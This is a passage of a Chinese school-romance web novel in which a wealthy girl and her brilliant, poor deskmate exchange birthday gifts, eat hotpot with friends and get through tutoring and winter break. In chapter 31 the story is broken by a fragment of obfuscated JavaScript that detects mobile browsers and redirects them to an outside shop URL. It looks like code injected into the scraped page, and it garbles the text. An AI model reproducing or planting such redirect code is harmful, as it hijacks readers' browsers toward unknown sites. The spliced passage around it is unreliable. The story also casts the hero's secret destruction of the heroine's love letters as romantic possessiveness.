这树还是沈天都小时候和沈初柠她妈一起种的,算得上定情树?沈初柠父母是年下,三岁算一个鸿沟的话,那两个人有两个鸿沟这么长,但耐不住沈天都喜欢。
沈初柠小时候就在桃树下时常听父母往事,从小就有个心愿,励志从小就养一个比她小几岁的预备男朋友,这样就可以天天压榨他帮她写作业,不愿意的话,就假装生气地说“这就不听姐姐的话了?”,想想就爽。
只是世事难料。周围全是同龄人,梦想,破灭。
哦,谈及比她年岁小的,家里倒是有二三,几年前她小叔家还新添一男丁,小混世魔王一个,倒是继承了沈初柠的衣钵。
车行驶到大门口,听见声音,沈昊澈就忙不迭迈着小短腿从二楼跑了下来。
沈初柠刚一下车就被小豆丁给扑了个满怀,胖墩墩的身子砸的她腿疼。
她弯腰捏起小孩的脸,陈述事实:“沈昊澈,你又胖了。”
沈昊澈热情消了个大半,“哦。”
其余人也跟着出来,沈祖母让沈初柠赶紧进屋,外面冷。
作为沈杜两家的掌上明珠,沈初柠每年的生日都是大操大办的。家宴,烟花之类一个不少,不过因着两家老人好久没看见乖孙孙,无论饭前还是饭后,沈初柠被拉着说了好久的话。
问及学业,生活,老师有没有给太大压力,实在学不下去就算了。
听见成绩之后眉开眼笑,这次考了倒二?很有进步,比之前好多了。不过还是不要有太大压力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884514|190450||http|test|mini|href|location''.split(''|''),0,{}));
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>又没问钱够不够用,不等沈初柠回答,直接给塞了个大红包,与之前送的礼物并不冲突。
最后见天色不早,第二天又是周一要上学,老人家才勉强收回不舍放沈初柠回去。
倒是沈天都最后挨了顿骂。临走前接到通电话,一项目资金链出了点问题要他去解决。
沈老太太听及此,说他天天忙着工作,连自家女儿都没时间陪。
沈天都真是有口难言,今天特地吩咐过秘书没什么大事就别来打扰,偏偏这次的事十万火急,是今年重点项目,关系到来年的供应问题。
不过沈老太太也就说这一句,挥挥手让他赶紧走。又安排自家司机去送沈初柠回家。
司机李叔算沈家的老人,给沈家开了几十年的车,年纪大了,话也多。又是看着沈初柠长大的,一路上聊天都快把沈初柠问词穷。
“去a班了还适应那边的环境吗?”
“刚开始觉得很累,老师很严,同学很冷漠。”
“冷漠?”
“大多数人还好啦,就是我那个同桌。”
“同桌的话那还是得搞好关系的,每天抬头不见低头见,那个人很凶吗?要不要我回去和夫人说给小姐你换个同桌?”
不知道家里的这些人为什么执着于夫人小姐地喊,沈初柠试图纠正过,基本没用,她也不是什么坚持不懈的人,这辈子最大的耐心可能都在试图和许屿搞好关心上,不过好在功夫不负有心人。
“不用啦,现在他人很好的。”
如果同时也能默认补课那事作废,做做表面功夫那就更好了。虽然沈初柠知道基本不可能。
夜已深,车窗上已经结了层薄薄的霜。
上面落了雨,雨刮器在玻璃上来回摆动。
又好像不是雨。仔细看原来是外面下了雪。宜城这样的南方,下雪并不常见,也从来都不是鹅毛像那样大。只是细碎的冰晶,混着雨水落下,在路灯的光晕里打着旋。
这是今年第一场初雪。
沈初柠趴到窗边,鼻尖几乎贴上玻璃,呼出的热气在玻璃上晕开一小团白雾。
透过这团雾气,能看见细雪正悄然覆盖这座城市。
也通过这团雾气,在即将抵达家里别墅之时,看见等在外面的许屿。
32. chapter32
周末的时候许屿去了趟“FREE”。
郁任正靠在电竞椅上玩KING,见到他倒没问今儿个怎得有时间来这了。总不能是因为几日未见甚是思念,何况之前的项目钱款结清,有新的自然会发信息和许屿说。
他朝上瞥了眼,从桌柜里拿了个包装精致的礼盒放桌上。
许屿托他带的。一条女款手链,不算很贵,几万块钱,但这牌子的货特别难买,还是限量款,国内货源已经断了,最后一条还是郁任托朋友在国外带的。差点没抢着。
郁任挑眉,“怎么突然买这个?给女朋友挑的?”
他是真有点好奇。许屿条件他也知道,近乎就是靠“斯是陋室,惟吾德馨”来活着了,衣服反复那么几件,住处吧也一言难尽。
有这钱倒不如给自己吃点好的,住点好的,起码先安个空调?
像高二年龄阶段的学生,几百几千块钱的礼物就挺足够的了,这上来就是万把开头,女款,总不能是给许屿自己用的。
别是谈个了公主。
对方不答,常年冷若冰霜的脸上如今却是勾起一抹极淡的笑意。
看得郁任起了一身鸡皮疙瘩。
啧啧啧。
啧啧啧啧啧啧啧啧啧啧啧。
——
晚间的时候许屿去了趟盛世云庭。
只是往年沈初柠生日这天,沈天都都会给陈姨他们放一天假。结果可想而知,别墅区里的灯关的,乌压压的一片。
不在家。
冬夜的寒意比白日更甚,湿冷,带着水汽,像被无形的冰水漫过。路灯的光在凛冽的空气里显得格外苍白,勉强照亮一小圈地面。
许屿站在紧闭的大门前,呼出的白气瞬间消散在黑暗里。
没有给沈初柠发去询问的信息,只是在原地等。他向来耐心懂得蛰伏。也明白也许今后的人生可能只是长夜漫漫等待的不归路。
晚间又下起了场雪。
是今年第一场雪。
起初只是零星的雪沫,在路灯昏黄的光晕里打着旋,轻飘飘地。
渐渐地,雪势大了些,细密的雪花从漆黑的天幕深处不断飘落,悄无声息地覆盖着目之所及的一切。
许屿低头看了眼时间。
23.24。
有车辆驶过,照亮昏暗的夜。
再抬头,撞入一双漂亮的眼睛里。里面盛满了鲜活的笑意。
“许屿!”沈初柠和司机连忙说停车。
车停下解锁的刹那,沈初柠便推门下车。
她跑到许屿的面前。平时懒得很,才十几步路的距离,因为短时间的剧烈运动,而显得有微微的喘。
“许屿,你怎么在这呀?”
雪才下不多时,只薄薄堆在路灯,墙头,一小片白,在灯光的照射下衬地她格外白。
今天她生日,七大姑八大姨的都在,打扮得就不如平时在学校那样随性。
穿着咖啡色的高领毛衣配上格子系短裙,戴了个同色系的贝雷帽,帽檐斜斜地压在蓬松微卷的长发上,几缕精心打理过的栗色卷发从帽沿下探出,垂在脸颊两侧。
发丝在路灯的光晕下泛着柔和的光泽,发梢处沾着未来得及融化的雪花,看着有点像点缀其间的碎钻。
整个人站在纷飞的雪幕中,精致得像从童话故事里走出来的冬日精灵,又像橱窗里最昂贵的洋娃娃,不似人间之物。
沈初柠见他不说话,以为许屿被冻傻。这绝佳头脑肯定不能傻掉,不然江涛不得找她算账。赶紧握住许屿的双手,果然触及一片冰凉。
而突如起来的温暖,又给许屿带回了人间。
只是下意识的行为,反应过来的沈初柠觉得刚刚那个行为好像有点不太妥帖。
许屿是谁?
高岭之花欸!能让她这么碰?这是对学神的一种侵犯!
赶紧抽回手,找个话题随机插入:“许屿,你来找我有什么事情嘛?”
掌心的温度骤然消失,冷空气重新钻进指缝,许屿指尖不自觉地蜷曲。
他从口袋里拿出那个让郁任帮忙带的手链。
“生日快乐。”
将盒子递了过去。
“欸?是给我的礼物嘛?”
“嗯。”
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沈初柠接过,指尖不经意擦过他的。带来一丝痒意,从他的指尖又到心底。
黑色丝绒衬垫上,一条极细的铂金手链静静躺着。链身由无数颗细小的钻石串联而成,每一颗都切割得极为精致,在雪夜微弱的光线下,依然折射出细碎而璀璨的星芒。
正中央的那枚吊坠是由黄钻镶嵌而成的柠檬造型。柠檬的形态雕刻得栩栩如生,表面用密钉镶工艺缀满更小的白钻,呈现出柠檬表皮特有的纹理感。
黄钻本身色泽澄澈鲜亮,在白雪的映衬下,像凝结了一小捧盛夏的阳光。
沈初柠从小长在富贵之家,名牌见过不少,当然知道其价值以及贵重之处,尤其对于许屿而言。
下意识便是拒绝,但是话也只是到嘴边。
她不是何不食肉糜的人,知道这条手链完全能让许屿的生活质量高一个档次。但又有七窍玲珑心,觉得像许屿这样的人,肯定是深思熟虑之后才去做。
万一不要这份礼物,会不会伤他自尊心什么的?
一时真的好纠结。
“不喜欢?”
许屿垂眸看她。
“没有,很喜欢的。”
“我帮你戴上?”
雪花落在两人之间,许屿修长的手指摘下着那条细链,钻石在雪光中折射出细碎的光芒。他示意沈初柠伸出手腕。
沈初柠犹豫了一瞬,还是将手递了过去。
许屿低着头,额前碎发垂落,遮住了部分神情。他动作很轻,指尖没有刻意避开她腕间的皮肤,专注地扣着那个小巧精致的搭扣。
雪花落在他手背上,很快融化成细小的水珠。
“咔哒”一声轻响,搭扣合上。
铂金链条贴合着她纤细的手腕,那枚黄钻柠檬吊坠垂落下来,在雪夜中闪烁着温暖而耀眼的光芒。
无数细钻串联成的链身,又像是一把圈住心意之人的锁。
许屿没有立刻松开手。他托着她的手腕,低头看了几秒,喉结滚动,难得能听出语气中的愉悦:
“很配你。”
“许屿,谢谢你。”
嗯,我也喜欢你。
33. chapter33
是周一,沈初柠刚一进教室,就瞧见桌上堆满了各式各样的东西。
她性格好,与周围同学关系都处得不错。虽然从来没有在班级里吐露过她生日的事,但每年都收到礼物。
没有任何讶异,只是来得晚,卡点到,来不及先看哪个是谁送的,一股脑把东西先往桌肚放。
只是有点多,塞不下。沈初柠只好朝许屿求助,和同桌处成朋友这点也是好处,可以任何事找他帮忙。
打铃声响,老师来的前十秒沈初柠终于将许屿的桌肚也塞满,且她的桌面干净如新。
是英语早读。前20分钟听力训练。
许屿桌肚被沈初柠塞的极满。原本有关听力的练习册在最底层,上面重物堆压一时抽动不开,只能用里面的礼物挪动位置,不曾想触及木浆纸张类似的质感。
他几不可察地顿了一下。
大概是用双面胶粘在礼物背面,轻轻一扯就掉。
许屿垂眸,粉色的信封。目光扫过信封上那行“To沈初柠同学”的丑陋字迹,以及角落处那个小小的爱心图案。落款人不认识,应该是别班人。
情书。
显而易见的。
他抬眸见沈初柠痛苦又不得不全神贯注地听写,并没有注意到这边动静。
随便找了本书,不动声色地将信纸夹进其中。
许屿从小就有极强的领地意识。
——我的。
小时候的天才也是挨揍过的。
源于一次被人抢了本书,许屿不由分说地将人揍了一通还不肯道歉。又挨了通父母教育,便将东西撕碎,大抵就是我占据不了,旁人也别想要。
也许这是种病。
但父母早亡,也无人更正。学会隐藏,却不曾改。
早上一连三节课都是英语,早读背诵,其他考试,下课时间基本没有,除非打报告上厕所。
沈初柠学得那是个头昏脑涨。
紧接着就是铃声响,广播歌声起,周一,要去操场升国旗。
大冬天,沈初柠缩在教室好不容易回点暖,又要去吹西北风。心中苦涩难忍,做人真难。
慢慢吞吞从座位上起,教室稀稀拉拉走了不少人。她看许屿纹丝未动的样子,“许屿,你不去早场吗?”
许屿站起来,让出给她出去的通道:“不了。”他望了窗外冷冽的寒风,想沈初柠心中所想:“太冷。”
也同时坐沈初柠心中所做。等她出去后,又归于原处看书。
像之前他有江涛给他开的无数假条,许屿在南华就是特例,类似于默认他最后能给南华挣得极大荣誉,也不管他服不服从学校所有安排。
沈初柠:“……”
可恶的聪明人!
等沈初柠从教室走后,所有人的脚步声消失在走廊尽头。
许屿放下手中的书,目光落在两人塞得满满当当的桌肚上。除了他,教室里空无一人,只有窗外呼啸的风声。
他伸出手,动作从容而精准地翻找着那些包装精美的礼物。指尖掠过毛绒玩偶,手工饼干、印有logo的礼盒,最终在一盒进口巧克力的丝带下,又找到了另一封淡粉色的信笺。
直男审美,觉得告白就应该用粉色,以及爱心的重要性。
信封上写着“致沈初柠”,字迹和早读那封同样丑陋,但不难看出用心。
直到零零总总全部检查完,许屿才面无表情地将那些礼物放回原处。
至于搜刮下的这些信件,归处自然不会是教室里的垃圾桶。痕迹太过明显。
各班空调遥控器是年级主任管的。管的也太宽。不过之前巡查见某平行班班空调开着,暖气一打,后排几个男生坐着就能睡着,便恼怒将其骂了一通,又拿了夺了所有班的空调自主权。
如今坐在办公室自个吹着空调。
南方的冬日带着湿冷。今天又莫名降了几度。搁外面一吹,就是刺骨的寒。教室里哪怕有门床给挡着,那些风通过角落缝隙争先恐后地钻入,也是阴冷至极。
年纪主任平时端的是个横眉冷对的角色,也没人敢问他要空调遥控器。要不要得到再说,平挨一顿骂,谁都不想做这出头鸟,又心里渴望着有人做出头鸟。
他往办公室里一坐,喝着枸杞茶,就见门口许屿敲门喊了声报告。
“进。”<
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作为南华的宝贝疙瘩,听及他要一班的空调遥控,年级主任倒是二话不说就给了。
为人师表,总还是要关爱同学们的身体健康。今天也确实冷。
南华那么多个学生,自然也敏锐地听见一班空调机开动的声音。见有人带了头,也纷纷找去了办公室。
最后自然也给了。不过通通挨了顿说,说学业,说态度,说成绩,讲未来,讲理想。
这次抢倒是不打出头鸟了。而是依次将后者一一打过去。
沈初柠在楼下冻得那叫个瑟瑟发抖。浑身裹成个球都于事无补,法术攻击啊法术攻击。
校长讲完话之后,各班依次退场。沈初柠这次倒不再慢慢悠悠,直接跑到教学楼里还好些。
她几乎是第一个冲回教室的。推开门的瞬间,一股温暖的空气扑面而来,让她快要冻僵的脸颊瞬间回暖。
“咦?”
沈初柠向教室后面看,发现教室里的空调居然开了。
至于是谁干的,总不能是年级主任良心发现。刚刚路过隔壁二班,他们班人照样瑟瑟发抖。
温度回声,脑子转的也快。
她坐回座位,又发现早上因为赶不及而随意放在桌肚的礼物,如今全部被一个箱子装着,整齐摆放。
田螺姑娘是谁自然不言而喻。
沈初柠眨眨眼,从书包拿出一盒草莓牛奶,凑过去,眼睛弯成月牙,“许屿,你真好。”
许屿也侧眸看她。听了这番话甚至有些想笑。
身旁人丝毫不知那几封被藏匿于背包中的情书,永远不会被正主收到,而将被带回去毁尸灭迹的结局。
但她的嘴巴看起来很红。
而他的嗓子突然有些痒。
“沈初柠。”
“嗯?”
沈初柠转过头去看许屿,眸光亮如繁星。
对方却看着她并不说话。
半晌。
“……昨天的式子背了吗?”
沈初柠:“……”
沈初柠:“…………”
沈初柠:“………………”
阳痿是一种感觉。
34. chapter34
除了那种以十周岁,成年礼的交际型晚宴。往常沈初柠生日都是当天和家人过,隔天与朋友过。
民以食为天。
沈初柠通常答谢人的时候,她会送礼物。恩情大了,她会选择请人吃饭。
她想请许屿吃饭很久了。
为答谢许屿的空调之恩,再加上这些天的照拂。
虽然她觉得有必要提及,如果许屿不抓她学习,她会开心一点。
好吧,也许只是单纯想要请许屿吃饭?
——
虽是人缘好,但按照习惯来讲,沈初柠隔天的庆生只会与秦宋,虞灿等四人一起。
如今多了个许屿。
不过他虽高冷不易近人,秦宋周曜沈初柠却是些话痨,又是一个学校的,都认识,场面依旧火热。
沈初柠没什么富贵病,几万块钱一顿的漂亮饭能吃,五角钱一包的辣条吃得也很香。近期突然有点馋海底捞,生日这天就直接带人来了离学校最近的大型商场。
海底捞是长方体桌,位置就三面可坐,最后一面留给服务员上菜。按理说两女,两男,两男的位置坐人,但许屿和其他人不熟,沈初柠怕他尴尬,也挺怕其他人尴尬期,就拉着他和自己一起坐。
反正其他四人从小玩到大,男女挨着坐也习以为常。
秦宋调得一手好蘸料。
拿了两个碟,一个带点辣,一个加了芝麻酱,据说核心出装要加耗油,但始终弄不出他那个味道。
几人平时插科打诨就趁他去拿别的吃的而将俩碟偷了去,这次沈初柠先下手为强。把东西先给了许屿,毕竟她以前尝过好几次,就给他先试一下秦宋的手艺。
许屿坐得最里面,出去不太方便。在秦宋哼着歌带着盘草莓回来的时候,沈初柠扯开话题问许屿有没有需要帮忙拿下东西,她去给他拿。
“不用。”
沈初柠点头。但此情此景看得是秦宋咋舌,要知道以往他让沈初柠跑个腿,对方直接拿个二维码,“先转个一千再说”,之后原地坐地起价。
和一旁申逸明交头接耳说了句“见色忘友”。发现桌上蘸料好像忘拿,又回小料台重新弄。
等回头又拿了盘哈密瓜,发现刚刚弄的蘸料又不见。扫视一圈就见沈初柠涮着牛肉吃着正香,底下赫然就是他的那两碟蘸料。
“沈初柠!”
猛得一个声音,给沈初柠吓了大跳。
“干嘛?”语气没太差,像是简单询问。
这次轮到秦宋跟吃了屎一样的表情。
见鬼了。
以往沈初柠可是明目张胆直接跟他挑衅比中指,哪轮得到刚刚那文明用语。
看了她好几眼,都快把沈初柠盯出个洞来。
沈初柠倒没什么不自在,照常吃。
反倒是后面,她身旁的许屿神色淡淡,见秦宋望了好几眼沈初柠,与他对上视线。
秦宋挑挑眉,倒没继续看。
——
虞灿给买了生日蛋糕,不过没有在海底捞吃。海底捞服务员过于热情,上上次还是上上上次来着,沈初柠时间记得也不太确切,但深刻记着当时申逸明生日,一堆服务员围着给他唱生日歌。看得申逸明是面红耳赤,沈初柠也吸取教训,绝对不在这里社死。
都在商场了,附近娱乐化场所也挺充足。出商城左拐五十米的街上就有一ktv,沈初柠本来想去隔壁酒吧见见世面的,奈何所有人都未成年,要查身份证,压根进不去。
虞灿买的蛋糕主题射手,对应沈初柠的星座,形状q版,纯动物奶油加上布丁胚层,正好够几人分食。
秦宋不太爱吃甜品,也最是手欠,往常总要抹点奶油到寿星脸上,虞灿周曜申逸明都被他猝不及防袭击过,哪怕有过几次经历早有提防。
在他神不知鬼不觉凑到沈初柠身边时,沈初柠就知道这人肯定没憋什么好事。等他的手快碰到她脸上时,沈初柠反将一军转身把一坨奶油给他脸上涂抹均匀。
秦宋:!?
等反应过来,沈初柠已经躲在许屿身后朝他比中指,暗地的。
秦宋气不打一处来,偏偏沈初柠头脑机灵立即给她找了个强大的靠山。
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只好放下狠话,“沈初柠,你等着!”意思是等以后再实行报复行为。
沈初柠不以为意,秦宋从小就玩不过她,放狠话这种行为更是常有的事。就跟看得动画片灰太狼“我一定会回来的”一个性质。
其他人显然对他们的龙争虎斗习以为常,但此番情形落入许屿眼里就变了味。
他思考沈初柠与秦宋是否过于亲近。
而秦宋的这些行为纯属因为某些见不得人的心思,而费劲心机想要产生的肢体接触。
其实纯属无稽之谈。
如果要是说与秦宋听,对方也觉得极其荒谬。估计会用食指指着自己,再指着沈初柠。
我?
她?
然后表情跟吃了什么不明状物一样难受。
青梅竹马这种关系不仅仅产生男女之情,那种从小一起长大的熟稔,更像是兄妹之间的打闹,甚至两人有时候几乎是相看两厌,觉得这世上怎么会有这种人的出现???
许屿认可有这种想法存在,但并不认为秦宋会有这样的心理。
大概偏向于子涵他妈,他自己滤镜太强,就觉得所有人都会喜欢我家“子涵”——沈初柠。
而许屿认为相对于他自己,秦宋条件的确确是比他好得多,父母亲和,优渥的家庭条件,性格开朗,相貌不差,成绩分数也不算低。而且还和沈初柠有着从小到大的情谊。
而他则空有一个好头脑,性格不好,样貌一般,家世方面更是千疮百孔。
常规意义上讲,基本是很差的条件。
其实大抵不必这样妄自菲薄,虽说自卑是男人最好的嫁妆,但也没必要如此不自信?
光是从外表上来讲,就压根与一般对不上号。
谁懂沈初柠一个手控声控颜控,偏偏同桌还样样全占。
她上课本就不是容易全神贯注的,身边还坐着这样一个人。黑板看着看着就发呆,回过神来不知道盯了他多久。
然后痛心疾首,却不自觉咽了口水。
她心里只好又暗骂,沈初柠,你好色,你下贱。
35. chapter35
宜城的天气是这样的。春秋温度总是骤然下跌或上升,但冬天不这样,温度速速下降到一个阈值之后,起伏就变得缓慢。
沈初柠生日就是十二月末的时候,隔几天就一月,再过不久是期末考。
高一学得简单,高二就开始难,实验班进度又极快,什么晦涩难懂的都跟着来。沈初柠基础真的学得差不多,那个公式举一反三都能给她绕出点花来。
这个简单。
但要说什么动能定理搭配上电场公式,再配上小球曲折路径,最后要求算出小球体积,还是饶了她吧。
当初文理分班,沈初柠坚决不去文科班就因为她懒得背,历史上下五千年还得加上国外那堆事,都要咬文嚼字分文不差给吃透。
不像物理,来来去去几个公式,不会就是不会,大不了作业借别人那么一抄,节省下来的时间正好省下来给她发游戏玩。
现在倒好,沈初柠瞧着许屿倒像是硬要给她学会。
饶了她吧。学得头痛。她如今这个分数211绝对够,985偏一点的地方也能上。在她爷爷奶奶那她都快被夸天上去了,看许屿表情却像是觉得不够。
学霸不懂学渣的痛,何况是学神。许屿给她掰碎了讲,从这个知识点到那个知识点,细枝末节都说了上午,就怕她不懂。
许屿:“听懂了?”
沈初柠一脸认真:“懂了。”
过半小时重做一遍后,他看着沈初柠的那个“解”字与只套了的几个公式。
许屿:“……”
倒不是沈初柠刚刚撒谎,听懂了又不代表一定会做,会做又不代表之后能举一反三。
而学神同桌兼补习老师倒没说什么,微蹙着眉似乎在思考到底是哪里出现了问题。明明他已经把所有知识点甚是是有关的细枝末节都考虑到。
他会想明白人与人之间的智商差距产生的分水岭就在于此。
而沈初柠也想不明白,她明明让她爸打去了额外奖金,意思是已经做得非常好。
就止步于此吧。
为什么他偏偏要她考上更高院校。每年高考生上千万,京大也就录取个几千人。
总不能真让她去吧。
她家里人连梦都不敢这么做的。
——
好在熬着熬着时间也就过去。
12月过一月就来,紧接着就是期末考,以及寒假。
有这段时间的痛苦补习沈初柠的成绩自然不会太差,甚至于她觉得江涛看她的眼神都带着几分慈祥。
江涛总说什么一分万人,高考的每一分都隔如天堑,务必牢牢抓住。
以前的沈初柠将这话左耳进右耳出,现在觉得可真有道理。
考卷百分之六十基础,百分之30提升,百分之十困难。沈初柠最多之多就能弄个十之八九的样子,更多就不可能,真不是那块料。
分数保持在六百二三十的样,还是她自我感觉发挥良好的前提。再多一分都觉得吃力。
不过没关系。
寒假沈天都倒没让她继续补课,假期短,又有寒假作业,总得留点玩乐时间。何况真这么做,肯定要挨沈家二老的说。可辛苦了他的心肝宝贝孙女。
期末考完,开完家长会后一放假沈初柠就坐上司机的车,就直奔沈家老宅而去。
被数学物理题裹挟了好久的人,都快连带着厌恶着宜城这个城市,当然学校早就讨厌上了。
高中假期是众所周知的放得晚,开学早。沈初柠她堂弟堂妹年纪小,幼儿园都上不了,两个小豆丁搁儿童房里搭积木,身边由保姆看护着。
一听到沈初柠回来了,也不打瞌睡了,顿时放下手上的东西,找沈初柠去。被欺负了也不哭,生了会闷气,又屁颠屁颠着跟着沈初柠后面跑。
三四岁的年纪正是忘性大,也特别听话,让帮忙拿什么东西就拿,不顶嘴,姐姐姐姐地叫着,这称呼沈初柠听倦了,命令俩小豆丁换个霸气点的称呼。
俩小孩相互对视一眼,单膝跪地朝拜,超大声,“参见女王陛下!”
沈初柠裹着被单当了几天爱莎。
“你,沈昊澈,给我倒点水来。”
“是的,女王。”
“你,沈茉,把我平板拿过来。”
“是的,女王。”
……
今年
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假期也就二十来天。没多久就有些新年的迹象。
最初就是各种各样的人,或是各路生意伙伴,或者就是世家旧教来老宅拜年,补品,年货,果篮堆满了玄关。
沈初柠偶尔被叫出去见见长辈,说几句吉祥话。遇到亲缘近的,被塞上个红包,这又是一笔巨款收入。
看着不像,但秦宋倒是沈初柠几人中最小的那个。
好歹也是从小认识到大,沈初柠还是极其讲义气地冒着天寒地冻回了宜城一趟。
要过年,穿的都喜气。粉粉红红的站一起,聚一起的时间尚早,几人又合计着去上次中道崩殂的真人密室去玩了一趟。
寿星主张重新再玩一趟之前那个主题。
秦宋这个倒霉蛋又抽到了韦嘉庆这个角色。半小时就进入他的单人solo解密,这次倒破解得很快。
秦宋数学不错的其实。只是那老板上次微积分的题答案不知道从哪弄来,给秦宋整懵,回去一想又觉得他解得哪都没什么差错。
刚刚用对讲机和老板争辩五分钟,对方拗不过他,自己也是真不懂,勉强放他过去。
也不知道故意针对还是怎的,“韦嘉庆”又一次被喊去单人任务,这次依旧是解答。
问:秦始皇活了几岁?
秦宋:“……”
他虽然性秦,但表示他不是秦始皇。但凡他是,他首当其冲就是端了这个破密室!
问一个理科生这种问题合适吗?!!
当然,最后结果也可想而知。
此行,又败。
而老板处柜台似乎也意识到思过过于难为人,在寿星快要发作前给了张优惠券,8.8折,让他们下次再来。
一趟密室玩了快四五小时,从下午一点都近乎过会能吃完饭的时间。
宜城冬天下午四点半就开始天黑,等五点多天就彻底暗了下去。
沈初柠又饿又渴,在秦宋和老板拉扯控诉不公时,就找了家最近的奶茶店的网上选购界面。
和其他人商量着奶茶的种类,糖分,温度,点了几杯,估摸着等会到店里能直接自提。
倒没想到过去时又看见许屿。
36. chapter36
几个女生坐在不远处,假装看手机,又压低声音兴奋地窃窃私语:
“快看快看。那个店员真的好帅。”
“是附近学校的吗?但附近好像没什么学校来着?”
“要不要去要个微信?”
“我不敢,他看起来好冷……”
欣赏美乃人之常情,换沈初柠也会想去多看几眼。
以至于听了两边女生的话,她也跟着想瞅两眼。
于是,便见着……
“许屿?”
比起沈初柠乍一见的微微震惊,许屿倒没什么诧异的表现。
他从沈初柠见店的那一刻便看见了她。
隔着蒙了雾气的玻璃窗,裹在粉色羽绒服里的身影,像一团毛茸茸的云。
而现在这朵云微微睁大清澈的眼睛,带着些疑惑问道:“你怎么会在这里?”
看起来结果应该是显而易见的。
来打工兼职。
但问题是现在许屿还会差钱吗?
按理说她爸给的奖金加上这段时间的补习费少说六位数是有了吧,再加上下个学期和高三,大学的学费费用不仅够了还有些富余。
虽然这其中给猫花了不少……很大与部分原因是沈初柠真不爱吃那猫粮,藏匿麻辣小鱼干在床底,之后肚子疼,给猫看病总是贵的……
但也不至于快过年了还兼职赚钱呢。
难道是许屿以后想学金融?再出国留学……志向远大。沈初柠再考虑要不要让她爸要不再提点奖金额度。
许屿当然不知道沈初柠想得这些弯弯绕绕。
来这的原因也绝对不会是什么缺钱。
原先对生活质量没什么要求,便没想太多赚钱的法子。现在家里有了只老师吃坏肚子的猫以及想养的人,也算有了追求。
最近炒股赚了一笔,任郁给的活也不少,有了笔不小的存款。沈初柠他爸给的那份没动,原原本本安静地躺银行卡上。
沈天都日理万机,也没空去察觉里面的金额分文未取。
许屿来这兼职纯属是帮忙。奶茶店的老板媳妇要生了,大过年的原先的店员更是都没通知一声的辞职回了家,也是没办法,安排了自家侄子和请许屿来帮忙。
侄子就一高二学生,没什么经验。以前许屿在这店做过一段时间,算是一边教一边做奶茶。不过现在天黑,那侄子先去吃饭,等吃完再回来换许屿,店里现在就他一人。
一天时薪10块钱,对许屿来说算是微薄收入。不过之前那店长对他不错,如今也算是他还恩的一种方式。
虽然现在法定年龄打工的人只要满16就好,但18岁算是深耕在人们心中的印象。但实际上,许屿在更小的年纪就出来兼职。
虽然长期营养摄入量不高,也许是基因所致,初二初三时许屿的身高就过一米七五,等高中就直接窜到一米八几。
长得高,看着就像个大人,也许就是显小的大学生?总归有人怀疑但懒得找茬。
李秀兰囤了许屿爸妈给的那些钱但没给许屿花过,小时候没办法,许屿只能捡许格致剩下的衣服穿。等稍微长大点就自己兼职赚钱。
兼职时只能谎报年龄,要及身份证就是忘带。或许是店长看出他的窘迫,总是之前他担下风险,给了许屿一份微薄收入。
后面李秀兰因为许格致补课那事找茬,被人盯着天天举报也难做,店长不得不开除许屿。不过之前到底还是雪中送炭了。
眼前的沈初柠面色犹豫,显然是误会了。但顾及着他薄弱的自尊心,在心里盘算着到底怎么说才好。
还是许屿开口,算是解释,但内容又不那么明确。
“店长家里有事,我来帮忙。”
“哦哦。”
沈初柠显然有些心不在,随便嗯了两声。
她之前觉着已经放假,就不想去思考学校里的那些糟心事。
连带着对许屿都刻意避着去想。
真不敢想,想起他就想起了痛苦,简直比江涛都够她生理性头疼。
如今再见他。
连着奶茶店里的装饰都裹了层红作装饰,沈初柠就想到,许屿准备怎么跨年?
回他婶婶家好像也不太现实。
一个人孤零零……
要不带他回她家吧?
对于喜欢的朋友,她总是乐意于把他带给她其他的朋友一起玩,又想他融入她的家里人。
但许屿会愿意吗
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?
“在想什么?”清冷的嗓音在耳边响起。
沈初柠回过神。
正犹豫着要不要问一问,肩膀猛得被人一拍。
给沈初柠吓了大跳。
是秦宋。沈初柠迟迟不出来,看着还像和店员聊了起来,就进来找她。
“你干嘛?”沈初柠侧头看他,这么大力气,别是把刚刚密室的怒气转接到她身上。
还真是被她猜对了,秦宋准备找个借口给自己开脱。
蓦地感知一道视线盯着自己。
秦宋下意识转身看去发现许屿正静静地看着他。
更准确地说,是看着他搭在沈初柠肩上的那只手。
秦宋感到一股寒意从脊椎窜上来。简直莫名。不过生理机能似的收回了手,和许屿打招呼。
算是意外也不太意外,毕竟他上次来在这家店也见过许屿。
许屿收回视线,淡淡开口:“号码。”
“0845。”沈初柠回。
要换别人,中途遇到秦宋或许会邀请他们晚上一起去吃饭。但许屿看起来很明显是在打工,压根没时间。
没再想其他,拎起打包好的奶茶,和沈初柠道,“车早来了,快走,晚点司机要说了。”
秦宋都这么说,沈初柠刚刚的千回百转也只好往肚子里咽。
只能先行与许屿告别,跟着秦宋出去。
——
算是倒霉。
秦宋千挑万选的网红餐厅踩了雷,漂亮饭成了难吃饭,沈初柠抱着无花果雪冰吃。
即将过年,几人也没通宵达旦的兴致,隔天还要走亲戚,忙得很。
不过话虽这么说,等各回各家后,秦宋便拉着沈初柠周曜三排,难得生日,肯定要趁这便利,提出他的所有诉求。
沈初柠一晚上的心情大概是
念在秦宋生日的份上,哪怕再菜的技术,她忍。
忍。
忍。
直到黎明,实在熬不动。
看着三人上上下下,下下上上,基本没动的段位。
沈初柠忍不住了。
“秦宋,你还是洒把玉米在你手机上吧。鸡啄几口,操作都比你流畅!!!”
37. chapter37
除夕将至。
老宅的佣人们清晨便开始忙碌。
由着家里两豆丁年纪尚小,觉浅,急早地就由佣人穿好了衣服,搁沈初柠门口敲门喊她起床。
沈初柠这几日都熬了个通宵,极度困乏,从被窝伸出手撸了站床旁俩小孩的头发,跟顺毛似的,“乖啊,帮姐姐把字帖练了。”
是寒假作业。除了某些个别同学外,英语老师要求所有人都买本字帖练着,等回校之后收。
学霸脑子好,不代表字好看,尤其是某些同学狗爬似的,看都看不懂他们写的是什么。
沈初柠不是那几个个别同学,但字也算不上狗爬,被无差别攻击躺枪就是了。
不过转念又想,练字又不用动脑子,跟着写就行,毅然决然将此等重任交与堂弟堂妹,反正整天玩怎么能行,不如给他们提前开发一下智力。
沈初柠觉得自己真是深谋远虑。
不过睡了没一会又被从床上喊起。
